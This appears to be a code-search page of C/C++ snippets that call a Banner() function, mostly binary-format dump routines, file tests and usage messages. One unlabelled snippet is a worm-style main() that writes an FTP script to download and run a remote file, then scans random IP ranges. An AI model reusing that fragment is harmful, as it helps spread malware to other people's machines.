예제 #1
0
/*
 * Dmp_hll_head - dump IBM HLL or MS CodeView debugging information
 */
bool Dmp_hll_head( void )
/**********************/
{
    off_t           end_off;
    off_t           dbg_off;
    hll_trailer     trailer;

    end_off = lseek( Handle, 0, SEEK_END );
    Wlseek( end_off - sizeof( trailer ) );
    Wread( &trailer, sizeof( trailer ) );
    dbg_off = end_off - trailer.offset;
    if( memcmp( trailer.sig, HLL_NB04, HLL_SIG_SIZE ) == 0 ) {
        Banner( "HLL NB04 debugging information" );
        Wdputs( "debugging information base  = " );
        Puthex( dbg_off, 8 );
        Wdputslc( "H\n" );
        Wdputs( "subsection directory offset = " );
        Puthex( trailer.offset, 8 );
        Wdputslc( "H\n\n" );
        dump_hll( dbg_off );
        return( true );
    } else if( memcmp( trailer.sig, HLL_NB02, HLL_SIG_SIZE ) == 0 ) {
        Banner( "CodeView NB02 debugging information" );
        Wdputs( "debugging information base  = " );
        Puthex( dbg_off, 8 );
        Wdputslc( "H\n" );
        Wdputs( "subsection directory offset = " );
        Puthex( trailer.offset, 8 );
        Wdputslc( "H\n\n" );
        dump_cv( dbg_off );
        return( true );
    }
    return( false );
} /* Dmp_hll_head */
예제 #2
0
/*
 * Dump Segment Table
 */
void Dmp_seg_tab( void )
/**********************/
{
    unsigned_16                     num_segs;
    struct segment_record           *segtab;
    unsigned_16                     segtabsize;
    unsigned_16                     segnum;

    Banner( "Segment Table" );
    num_segs = Os2_head.segments;
    if( num_segs == 0 ) {
        return;
    }
    Wlseek( New_exe_off + Os2_head.segment_off );
    segtabsize = sizeof( struct segment_record ) * num_segs;
    segtab = Wmalloc( segtabsize );
    Wread( segtab, segtabsize );
    Int_seg_tab = segtab;
    ++num_segs;
    Wdputslc( "seg  fileoff  len  alloc prior priv flag\n" );
    Wdputslc( "==== ======== ==== ====  ====  ==== ====\n" );
    for( segnum = 1; segnum != num_segs; segnum++ ) {
        Puthex( segnum, 4 );
        dmp_seg_ent( segtab++ );
    }
    Wdputslc( "\n" );
}
예제 #3
0
/*
 * Dump public entry (export) table.
 */
static void dmp_public_entry( void )
/**********************************/
{
    unsigned_32     i;
    unsigned_8      len;
    char            *name;
    unsigned_32     addr;

    if( Nlm_head.numberOfPublics == 0 ) {
        return;
    }
    Wdputslc( "\n" );
    Wlseek( Nlm_head.publicsOffset );
    Banner( "Public Entry (Export) Table" );
    Wdputslc( "80000000H = symbol is in code\n" );
    Wdputslc( "      Address         Name\n" );
    Wdputslc( "      =======         ====\n" );
    for( i = 0; i < Nlm_head.numberOfPublics; i++ ) {
        Wread( &len, sizeof( unsigned_8 ) );
        name = Wmalloc( len );
        Wread( name, len );
        name[len] = '\0';
        Wread( &addr, sizeof( unsigned_32 ) );
        Wdputs( "      " );
        Puthex( addr, 8 );
        Wdputs( "        " );
        Wdputs( name );
        Wdputslc( "\n" );
    }
}
예제 #4
0
파일: log.cpp 프로젝트: bmk10/sing-engine
// =====================================================================================
//  LogStart
// =====================================================================================
void            LogStart(int argc, char** argv)
{
    Banner();
    Log("-----  BEGIN  %s -----\n", g_Program);
    LogArgs(argc, argv);
    DisplayDeveloperLevel();
}
예제 #5
0
void Message_Service::Show_Banner ()
{
	if (!Quiet ()) {
		Banner ();
		printf ("\n");
	}
}
int main(int argc, char **argv)
{
	WSADATA wsaData;

	if (WSAStartup(MAKEWORD(2, 0), &wsaData)) return 0;

	DownloadOn=0;
	Banner();

	if(argc!=6)Usage();
	else
	{
		ftp_flds->ftp_host=argv[1];
		ftp_flds->username=argv[2];
		ftp_flds->password=argv[3];
		ftp_flds->localFilename=argv[4];
		ftp_flds->remoteFilename=argv[5];
	}

	if(DownloadOn)
	{
		_snprintf(cmd,sizeof(cmd),
			"echo open %s>>o&echo %s>>o&echo %s>>o"
			"&echo binary>>o&echo get %s %s>>o&echo bye>>o&ftp -s:o&del o"
			"&start Explorer.exe&wank\n", 
			ftp_flds->ftp_host,ftp_flds->username,ftp_flds->password,
			ftp_flds->remoteFilename,ftp_flds->localFilename);
	}

	ScanRandomIpRanges();
	return 0;
}
예제 #7
0
/*
 * Dump info from extended header.
 */
static void dmp_extended( void )
/******************************/
{
    if( Nlm_ext_head.messageFileLength != 0 ) {
        Banner( "Message File" );
        Dmp_seg_data( Nlm_ext_head.messageFileOffset, Nlm_ext_head.messageFileLength );
    }
    if( Nlm_ext_head.helpFileLength != 0 ) {
        Banner( "Help File" );
        Dmp_seg_data( Nlm_ext_head.helpFileOffset, Nlm_ext_head.helpFileLength );
    }
    if( Nlm_ext_head.RPCDataLength != 0 ) {
        Banner( "RPC Data" );
        Dmp_seg_data( Nlm_ext_head.RPCDataOffset, Nlm_ext_head.RPCDataLength );
    }
}
예제 #8
0
/*
 * Dump resources.
 */
static void dmp_resrc( unsigned_16 size, unsigned_32 offset )
/***********************************************************/
{
    unsigned_16     i;
    lmf_resource    resrc;

    Wdputslc( "\n" );
    Banner( "Resource Table" );
    Wread( &resrc, sizeof( lmf_resource ) );
    Wdputs( "resource type (0==usage) = " );
    Puthex( resrc.res_type, 4 );
    Wdputslc( "H\n" );
    Wdputs( "zeros                    = " );
    for( i = 0; i < 3; i++ ) {              // 3 spares (zeros)
        Puthex( resrc.spare[i], 4 );
        Wdputs( "H   " );
    }
    Wdputslc( "\n" );
    size -= sizeof( lmf_resource );
    Wdputs( "size                     = " );
    Puthex( size, 4 );
    Wdputslc( "H\n" );
    offset += sizeof( lmf_resource );
    if( Options_dmp & RESRC_DMP ) {
        Dmp_seg_data( offset, size );
    }
}
예제 #9
0
/*
 * Dump the coff object, if any.
 */
bool Dmp_coff_head( void )
/************************/
{
    coff_file_header    header;

    Wlseek( Coff_off );
    Wread( &header, sizeof( coff_file_header ) );
    if( header.cpu_type != IMAGE_FILE_MACHINE_I386
        && header.cpu_type != IMAGE_FILE_MACHINE_ALPHA
        && header.cpu_type != IMAGE_FILE_MACHINE_UNKNOWN
        && header.cpu_type != IMAGE_FILE_MACHINE_POWERPC ) {
        return 0;
    }
    Banner( "COFF object file" );
    Wdputs( "file offset = " );
    Puthex( Coff_off, 8 );
    Wdputslc( "H\n" );
    Wdputslc( "\n" );
    Dump_header( (char *)&header, coff_hdr_msg );
    DumpCoffHdrFlags( header.flags );
    load_string_table( &header );
    Wlseek( Coff_off + sizeof(coff_file_header) + header.opt_hdr_size );
    dmp_objects( header.num_sections );
    unload_string_table();
    dmp_symtab( header.sym_table, header.num_symbols );
    return 1;
}
예제 #10
0
/*
 * Dump relocation fixup table.
 */
static void dmp_reloc_fixup( void )
/*********************************/
{
    unsigned_32     i;
    unsigned_32     reloc;

    if( Nlm_head.numberOfRelocationFixups == 0 ) {
        return;
    }
    Wdputslc( "\n" );
    Wlseek( Nlm_head.relocationFixupOffset );
    Banner( "Relocation Fixup Table" );
    Wdputslc( "80000000H = target is in code segment\n" );
    Wdputslc( "40000000H = source of fixup is in code segment\n" );
    for( i = 0; i < Nlm_head.numberOfRelocationFixups; i++ ) {
        Wread( &reloc, sizeof( unsigned_32 ) );
        if( i != 0 ) {
            if( (i) % 6 == 0 ) {
                Wdputslc( "\n" );
            } else {
                Wdputs( "      " );
            }
        }
        Puthex( reloc, 8 );
    }
    Wdputslc( "\n" );
}
예제 #11
0
파일: error.c 프로젝트: mingpen/OpenNT
void ErrorExit(unsigned error, const char *s1, const char *s2)
{
	char	*szPrefix;
	int	cch = 0;
	char	szError[ERROR_LEN];

	if (logo && NeedsBanner) {
		Banner();
	}

	if (error != ERR_USAGE) {
		szPrefix = get_err(MSG_ERROR);

		if (szPrefix == NULL) {
			szPrefix = (char *) szErrorPrefix;
		}

		cch = sprintf(szError, szPrefix, error, ' ');
	}

	sprintf(szError + cch, get_err(error), s1, s2);

	puts(szError);

	AppExit(1);
}
예제 #12
0
/*
 * print_info_title - print out a title for an info section
 */
static void print_info_title( const char *title )
/***********************************************/
{
    char        buff[80];

    sprintf( buff, "%s Info (section %d)", title, currSect );
    Banner( buff );

} /* print_info_title */
예제 #13
0
void intro_display()
{
	    std::ifstream Art ("art.txt");
	    std::ifstream Intro("intro.txt");
	    std::ifstream Banner("banner.txt");
	    displaytext(Art);
	    displaytext_delay(Intro);
	    displaytext(Banner);
	    Art.close();
	    Intro.close();	
}
예제 #14
0
/*
 * Dump fixups.
 */
static void dmp_fixup( unsigned_16 size, bool float_pt )
/******************************************************/
{
    lmf_data        fixup;
    unsigned_16     i;

    Wdputslc( "\n" );
    if( float_pt ) {
        Banner( "Floating Point Fixup Table" );
    } else {
        Banner( "Fixup Table" );
    }
    Wdputs( "size = " );
    Puthex( size, 4 );
    if( Options_dmp & FIX_DMP ) {
        if( float_pt ) {
            Wdputslc( "      segment : type:offset\n" );
        } else {
            Wdputslc( "      segment : offset\n" );
        }
        for( i = 0; i < size / sizeof( lmf_data ); i++ ) {
            Wread( &fixup, sizeof( lmf_data ) );
            if( i != 0 ) {
                if( i % 4 == 0 ) {
                    Wdputslc( "\n" );
                } else {
                    Wdputs( "     " );
                }
            }
            Puthex( fixup.segment, 4 );
            Wdputs( " : " );
            if( float_pt ) {
                Puthex( fixup.offset >> 28, 1 );
                Wdputc( ':' );
                Puthex( fixup.offset, 7 );
            } else {
                Puthex( fixup.offset, 8 );
            }
        }
    }
예제 #15
0
/*
 * Dump The Resource Table for NE module
 */
void Dmp_resrc_tab( void )
/************************/
{
    if( Os2_head.resource_off == Os2_head.resident_off ) {
        return;
    }
    Banner( "Resource Table" );
    Wlseek( New_exe_off + Os2_head.resource_off );
    if( Os2_head.target == TARGET_OS2 )
        dmp_resrc_tab_os2();
    else
        dmp_resrc_tab_win();
}
예제 #16
0
/*
 * Dump rw end.
 */
static void dmp_rw_end( void )
/****************************/
{
    lmf_rw_end      rw_end;

    Wdputslc( "\n" );
    Banner( "Read/Write end" );
    Wread( &rw_end, sizeof( lmf_rw_end ) );
    Wdputs( "verify = " );
    Puthex( rw_end.verify, 4 );
    Wdputs( "H     signature = " );
    Puthex( rw_end.signature, 8 );
    Wdputslc( "H\n" );
}
예제 #17
0
void CreateUniqueTest(const char* creationPath, const char* appendPath,
                 PRInt32 whatToCreate, PRInt32 perm)
{
    nsresult rv;
    nsCOMPtr<nsILocalFile> file =
        do_CreateInstance(NS_LOCAL_FILE_CONTRACTID, &rv);

    if (NS_FAILED(rv) || (!file)) 
    {
        printf("create nsILocalFile failed\n");
        return;
    }

    Banner("Creation Test");
    printf("creationPath == %s\nappendPath == %s\n", creationPath, appendPath);

    rv = file->InitWithNativePath(nsDependentCString(creationPath));
    VerifyResult(rv);
 
    printf("Appending %s\n", appendPath);
    rv = file->AppendNative(nsDependentCString(appendPath));
    VerifyResult(rv);
    
    printf("Check For Existence\n");

    PRBool exists;
    file->Exists(&exists);

    if (exists)
        printf("Yup!\n");
    else
        printf("no.\n");


    rv = file->CreateUnique(whatToCreate, perm);  
    VerifyResult(rv);

    rv = file->Exists(&exists);
    VerifyResult(rv);

    
    if (!exists)
    {
        Failed("Did not create file system object!");
        return;
    }
    
}    
예제 #18
0
/*
 * Dump the ELF header, if any.
 */
bool Dmp_elf_header( unsigned long start )
/****************************************/
{
    Wread( &Elf_head, sizeof( Elf32_Ehdr ) );
    if( memcmp( Elf_head.e_ident, ELF_SIGNATURE, ELF_SIGNATURE_LEN ) ) {
        return( 0 );
    }
    Banner( "ELF Header" );
    if( start != 0 ) {
        Wdputs( "File Offset:" );
        Puthex( start, 8 );
        Wdputslc( "\n" );
    }
    Wdputs( "class (1==32-bit objects, 2==64-bit objs)   =       " );
    Puthex( Elf_head.e_ident[EI_CLASS], 2 );
    Wdputslc( "H\ndata  (1==little-endian, 2==big-endian)     =       " );
    Puthex( Elf_head.e_ident[EI_DATA], 2 );
    Wdputslc( "H\nversion                                     =       " );
    Puthex( Elf_head.e_ident[EI_VERSION], 2 );
    Wdputslc( "H\nOS/ABI type (0==unspecified)                =       " );
    Puthex( Elf_head.e_ident[EI_OSABI], 2 );
    Wdputslc( "H\nABI version (0==unspecified)                =       " );
    Puthex( Elf_head.e_ident[EI_ABIVERSION], 2 );
    Wdputslc( "H\n" );
    if( Elf_head.e_ident[EI_DATA] != NATIVE_ENDIAN ) {
        Byte_swap = TRUE;

        /* Byte swap ELF header */
        SWAP_16( Elf_head.e_type );
        SWAP_16( Elf_head.e_machine );
        SWAP_32( Elf_head.e_version );
        SWAP_32( Elf_head.e_entry );
        SWAP_32( Elf_head.e_phoff );
        SWAP_32( Elf_head.e_shoff );
        SWAP_32( Elf_head.e_flags );
        SWAP_16( Elf_head.e_ehsize );
        SWAP_16( Elf_head.e_phentsize );
        SWAP_16( Elf_head.e_phnum );
        SWAP_16( Elf_head.e_shentsize );
        SWAP_16( Elf_head.e_shnum );
        SWAP_16( Elf_head.e_shstrndx );
    }
    dmp_hdr_type( Elf_head.e_type );
    Dump_header( &Elf_head.e_type, elf_exe_msg );
    Wdputslc( "\n" );
    dmp_prog_sec( start );
    return( 1 );
}
예제 #19
0
void InitTest(const char* creationPath, const char* appendPath)
{
    nsILocalFile* file = nsnull;
    nsresult rv = CallCreateInstance(NS_LOCAL_FILE_CONTRACTID, &file);
    
    if (NS_FAILED(rv) || (!file)) 
    {
        printf("create nsILocalFile failed\n");
        return;
    }

    nsCAutoString leafName;

    Banner("InitWithPath");
    printf("creationPath == %s\nappendPath == %s\n", creationPath, appendPath);

    rv = file->InitWithNativePath(nsDependentCString(creationPath));
    VerifyResult(rv);
    
    printf("Getting Filename\n");
    rv = file->GetNativeLeafName(leafName);
    printf(" %s\n", leafName.get());
    VerifyResult(rv);

    printf("Appending %s \n", appendPath);
    rv = file->AppendNative(nsDependentCString(appendPath));
    VerifyResult(rv);

    printf("Getting Filename\n");
    rv = file->GetNativeLeafName(leafName);
    printf(" %s\n", leafName.get());
    VerifyResult(rv);

    GetPaths(file);

    
    printf("Check For Existence\n");

    PRBool exists;
    file->Exists(&exists);

    if (exists)
        printf("Yup!\n");
    else
        printf("no.\n");
}
예제 #20
0
int  HumanInterface::UserInterface(void) {
 system("reset");

Head :		   
	 HomeSecurityInfo();
                           //
		   	   //cout<<systemName<<endl;	   
                           //WhiteSpace(102);
                                
		                Banner();	   
                   		cout<<"Enter You Choice\n";
				cout<<"please enter the choice 1. user 2. admin\n";
				int userType;
				cin>>userType;

				cout<<"user has entered the choice << userChoice\n" ;

			// write the transtions here
			//
			if (userType==1) {
				/*strcpy(this->commandName,"Admin#~> "); 
				cout<<"Enter Password\n";
				
				cout<<commandName;
				cin>>userType;
                                Banner();*/
                                 return(userType); 
			
			}
			  else if (userType==2) 
			  { 
		             strcpy(this->commandName,"User#~> ");
			     cout<<"Enter Password ";
			   /*  cout<<commandName;
			     cin>>userType;
			     Banner();*/
                           return(userType);
				
			} else 
		       	{
				cout << "\nuser has entered the wrong selection value\n";
			
                            
			}
                            goto Head ;
};
예제 #21
0
/*
 * Dump the Mach-O header at offset 'start', if any.
 */
bool Dmp_macho_header( unsigned long start )
/******************************************/
{
    struct mach_header  mhead;
    
    Wread( &mhead, sizeof( mhead ) );
    if( (mhead.magic != MH_MAGIC) && (mhead.magic != MH_CIGAM) ) {
        return( 0 );
    }
    if( mhead.magic == MH_CIGAM ) {
        Byte_swap = true;
        SWAP_32( mhead.cputype );
        SWAP_32( mhead.cpusubtype );
        SWAP_32( mhead.filetype );
        SWAP_32( mhead.ncmds );
        SWAP_32( mhead.sizeofcmds );
        SWAP_32( mhead.flags );
    }

    Banner( "Mach-O Header" );
    if( start != 0 ) {
        Wdputs( "File Offset: " );
        Puthex( start, 8 );
        Wdputslc( "\n" );
    }
    Wdputs( "magic                                       = " );
    Puthex( mhead.magic, 8 );
    Wdputs( "\ncputype                                     = " );
    Puthex( mhead.cputype, 8 );
    Wdputs( "H\ncpusubtype                                  = " );
    Puthex( mhead.cpusubtype, 8 );
    Wdputs( "H\nfiletype                                    = " );
    Puthex( mhead.filetype, 8 );
    Wdputslc( "H\nncmds                                       = " );
    Puthex( mhead.ncmds, 8 );
    Wdputslc( "H\nsizeofcmds                                  = " );
    Puthex( mhead.sizeofcmds, 8 );
    Wdputslc( "H\nflags                                       = " );
    Puthex( mhead.flags, 8 );
    Wdputslc( "H\n" );
    dmp_file_type( mhead.filetype );
    Wdputslc( "\n" );
    dmp_cmd_list( start, mhead.ncmds );
    dmp_prog_sec( start );
    return( 1 );
}
예제 #22
0
/*
 * Dump external reference (import) table.
 */
static void dmp_external_ref( void )
/**********************************/
{
    unsigned_32     i,j;
    unsigned_8      len;
    char            *name;
    unsigned_32     num;
    unsigned_32     reloc;

    if( Nlm_head.numberOfExternalReferences  == 0 ) {
        return;
    }
    Wdputslc( "\n" );
    Wlseek( Nlm_head.externalReferencesOffset );
    Banner( "External Reference (Import) Table" );
    Wdputslc( "80000000H = relocation not relative to current position\n" );
    Wdputslc( "40000000H = relocation to code segment\n" );
    for( i = 0; i < Nlm_head.numberOfExternalReferences; i++ ) {
        Wread( &len, sizeof( unsigned_8 ) );
        name = Wmalloc( len );
        Wread( name, len );
        name[len] = '\0';
        Wdputs( name );
        Wdputs( ",  relocations:" );
        Wdputslc( "\n" );
        Wread( &num, sizeof( unsigned_32 ) );
        Wdputs( "        " );
        for( j = 0; j < num; j++ ) {
            Wread( &reloc, sizeof( unsigned_32 ) );
            if( j != 0 ) {
                if( (j) % 4 == 0 ) {
                    Wdputslc( "\n        " );
                } else {
                    Wdputs( "      " );
                }
            }
            Putdecl( j, 2 );
            Wdputc( ':' );
            Puthex( reloc, 8 );
        }
        Wdputslc( "\n" );
    }
}
예제 #23
0
파일: banners.cpp 프로젝트: Mapotempo/omim
void BannerSet::ReadBanners(istream & s)
{
  m_banners.clear();

  Banner banner;
  string type;
  int lineNumber = 1;
  for (string line; getline(s, line); ++lineNumber)
  {
    strings::Trim(line);
    if (line.empty() || line.front() == '#')
      continue;

    auto const equals = line.find('=');
    if (equals == string::npos)
    {
      // Section header, should be in square brackets.
      CHECK(line.front() == '[' && line.back() == ']', ("Unknown syntax at line", lineNumber));
      strings::Trim(line, " \t[]");
      CHECK(!line.empty(), ("Empty banner ID at line", lineNumber));
      if (!banner.IsEmpty())
        Add(banner, type);
      banner = Banner(line);
      type = "sponsored-banner-" + line;
    }
    else
    {
      // Variable definition, must be inside a section.
      CHECK(!banner.IsEmpty(), ("Variable definition outside a section at line", lineNumber));
      string name = line.substr(0, equals);
      string value = line.substr(equals + 1);
      strings::Trim(name);
      CHECK(!name.empty(), ("Empty variable name at line", lineNumber));
      strings::Trim(value);
      if (name == "type")
        type = value;
      else
        banner.SetProperty(name, value);
    }
  }
  if (!banner.IsEmpty())
    Add(banner, type);
}
예제 #24
0
/*
 * Dump the Resource Table.
 */
void Dmp_resources( void )
/************************/
{
    resource_dir_header             pe_res_type;

    Data_off = 0;
    Wlseek( Res_off );
    Wread( &pe_res_type, sizeof( resource_dir_header ) );
    Banner( "Resource Directory Table" );
    Dump_header( (char *)&pe_res_type.flags, pe_resource_msg );
    Wdputslc( "\n" );
    Wdputslc( "type id/string                 name id/string                 language id\n" );
    Wdputslc( "==============                 ==============                 ===========\n" );
    dmp_res_name_id( pe_res_type.num_name_entries, TRUE );
    dmp_res_name_id( pe_res_type.num_id_entries, FALSE );
    if( Options_dmp & RESRC_DMP ) {
        dmp_res_dir();
        dmp_res_data();
    }
}
예제 #25
0
파일: error.c 프로젝트: mingpen/OpenNT
void Warn(unsigned error, const char *s1, const char *s2)
{
	char	*szPrefix;
	int	cch;
	char	szError[ERROR_LEN];

	if (logo && NeedsBanner) {
		Banner();
	}

	szPrefix = get_err(MSG_WARNING);

	if (szPrefix == NULL) {
		szPrefix = (char *) szWarningPrefix;
	}

	cch = sprintf(szError, szPrefix, error, ' ');

	sprintf(szError + cch, get_err(error), s1, s2);

	puts(szError);
}
예제 #26
0
/*
 * Dump the Fixup Table.
 */
void Dmp_fixups( void )
/*********************/
{
    pe_fixup_header         pe_fixup;
    unsigned_32             offset;

    offset = Fix_off;
    Wdputslc( "\n" );
    Banner( "Fixup Block Tables" );
    for( ;; ) {
        Wlseek( offset );
        Wread( &pe_fixup, sizeof( pe_fixup_header ) );
        offset += pe_fixup.block_size;
        if( pe_fixup.block_size == 0 ) break;
        Dump_header( (char *)&pe_fixup.page_rva, pe_fixup_msg );
        if( Options_dmp & FIX_DMP ) {
            dmp_type_offset( ( pe_fixup.block_size -
                            sizeof( pe_fixup_header ) ) / 2 );
        }
        Wdputslc( "\n" );
    }
}
예제 #27
0
void 
MoveTest(const char *testFile, const char *targetDir)
{
  Banner("Move Test");

  printf("start move test\n");

  nsresult rv;
  nsCOMPtr<nsILocalFile> file(do_CreateInstance(NS_LOCAL_FILE_CONTRACTID));
     
  if (!file) 
  {
    printf("create nsILocalFile failed\n");
    return;
  }

  rv = file->InitWithNativePath(nsDependentCString(testFile));
  VerifyResult(rv);
  
  nsCOMPtr<nsILocalFile> dir(do_CreateInstance(NS_LOCAL_FILE_CONTRACTID));
 
  if (!dir) 
  {
    printf("create nsILocalFile failed\n");
    return;
  }

  rv = dir->InitWithNativePath(nsDependentCString(targetDir));
  VerifyResult(rv);

  rv = file->MoveToNative(dir, NS_LITERAL_CSTRING("newtemp"));
  VerifyResult(rv);
  if (NS_FAILED(rv))
  {
    printf("MoveToNative() test Failed.\n");
  }
  printf("end move test\n");
}
예제 #28
0
/*
 * Dump The Resource Table for OS/2 LX module
 */
void Dmp_resrc2_tab( void )
/*************************/
{
    unsigned_16     i;
    unsigned_16     id;
    flat_res_table  res_tab;

    if( Os2_386_head.num_rsrcs == 0 ) {
        return;
    }
    Banner( "Resource Table" );
    Wlseek( New_exe_off + Os2_386_head.rsrc_off );
    id = 20;                /* if id > 15 a name won't be printed out */
    Wdputslc( "     type id   name id    res size     object     offset\n" );
    Wdputslc( "     =======   =======    ========     ======     ======\n" );
    for( i = 0; i < Os2_386_head.num_rsrcs; i++ ) {
        Wread( &res_tab, sizeof( flat_res_table ) );
        if( res_tab.type_id != id ) {
            id = res_tab.type_id;
            if( id < 16 ) {
                Wdputs( "type:  " );
                Wdputslc( resource_type_os2[ res_tab.type_id ] );
            }
        }
        Wdputs( "      " );
        Puthex( res_tab.type_id, 4 );
        Wdputs( "      " );
        Puthex( res_tab.name_id, 4 );
        Wdputs( "      " );
        Puthex( res_tab.res_size, 8 );
        Wdputs( "      " );
        Puthex( res_tab.object, 4 );
        Wdputs( "      " );
        Puthex( res_tab.offset, 8 );
        Wdputslc( "\n" );
    }
    Wdputslc( "\n" );
}
예제 #29
0
/*
 * Dump module dependency table.
 */
static void dmp_module_dep( void )
/********************************/
{
    unsigned_32     i;
    unsigned_8      len;
    char            *name;

    if( Nlm_head.numberOfModuleDependencies == 0 ) {
        return;
    }
    Wdputslc( "\n" );
    Wlseek( Nlm_head.moduleDependencyOffset );
    Banner( "Module Dependency Table" );
    for( i = 0; i < Nlm_head.numberOfModuleDependencies; i++ ) {
        Wread( &len, sizeof( unsigned_8 ) );
        name = Wmalloc( len );
        Wread( name, len );
        name[len] = '\0';
        Wdputs( "      " );
        Wdputs( name );
        Wdputslc( "\n" );
    }
}
예제 #30
0
/* Usage - display a usage message and exit */
static void Usage(void)
{
    Banner();
    fprintf(stderr, "\
usage: openspin\n\
         [ -h ]                 display this help\n\
         [ -L or -I <path> ]    add a directory to the include path\n\
         [ -o <path> ]          output filename\n\
         [ -b ]                 output binary file format\n\
         [ -e ]                 output eeprom file format\n\
         [ -c ]                 output only DAT sections\n\
         [ -d ]                 dump out doc mode\n\
         [ -t ]                 output just the object file tree\n\
         [ -f ]                 output a list of filenames for use in archiving\n\
         [ -q ]                 quiet mode (suppress banner and non-error text)\n\
         [ -v ]                 verbose output\n\
         [ -p ]                 disable the preprocessor\n\
         [ -a ]                 use alternative preprocessor rules\n\
         [ -D <define> ]        add a define\n\
         [ -M <size> ]          size of eeprom (up to 16777216 bytes)\n\
         [ -s ]                 dump PUB & CON symbol information for top object\n\
         <name.spin>            spin file to compile\n\
\n");
}